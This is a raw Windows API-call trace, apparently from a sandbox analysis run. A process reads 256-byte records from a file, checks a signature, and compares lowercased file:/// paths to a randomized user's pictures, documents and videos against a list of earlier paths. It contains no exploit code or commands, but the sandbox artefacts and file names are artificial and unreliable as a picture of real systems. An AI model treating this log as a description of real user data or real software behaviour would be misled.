	[0098.849] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/M0PUcZV9MVtq89/LYlrE2qKP54wvCJa5uIu.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png"
	[0098.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 89
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 1
	[0098.849] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.849] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 0x58
	[0098.849] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380
	[0098.850] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.850] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.850] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380
	[0098.850] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.850] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/Mw00S7VwOP-1EB3CeliR.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg"
	[0098.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 74
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.850] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 0x49
	[0098.850] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480
	[0098.850] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.850] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.850] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480
	[0098.850] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.850] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/bNUDyFuvWHUv-Byl.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx"
	[0098.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 58
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned -1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned -1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned -1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned -1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned -1
	[0098.850] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0098.851] wcslen (_String="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 0x39
	[0098.851] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580
	[0098.851] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.851] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.851] SetFilePointer (in: hFile=0xbc, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580
	[0098.851] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.851] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/46pyemMg5U/v6XSq22m7SOI-9t6H-O.flv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv"
	[0098.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 93
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 1
	[0098.851] wcscmp (_String1="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0098.851] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 0x5c
	[0098.852] SetFilePointer (in: hFile=0xbc, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680
	[0098.852] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1836c0, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836c0*=0x8, lpOverlapped=0x0) returned 1
	[0098.852] _memicmp (_Buf1=0x187918, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.852] SetFilePointer (in: hFile=0xbc, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680
	[0098.852] ReadFile (in: hFile=0xbc, lpBuffer=0x187918, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1836bc, lpOverlapped=0x0 | out: lpBuffer=0x187918*, lpNumberOfBytesRead=0x1836bc*=0x100, lpOverlapped=0x0) returned 1
	[0098.852] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/Ji7RR1qGOIwn_ZNELP.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif"
	[0098.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 96
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned -1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 1
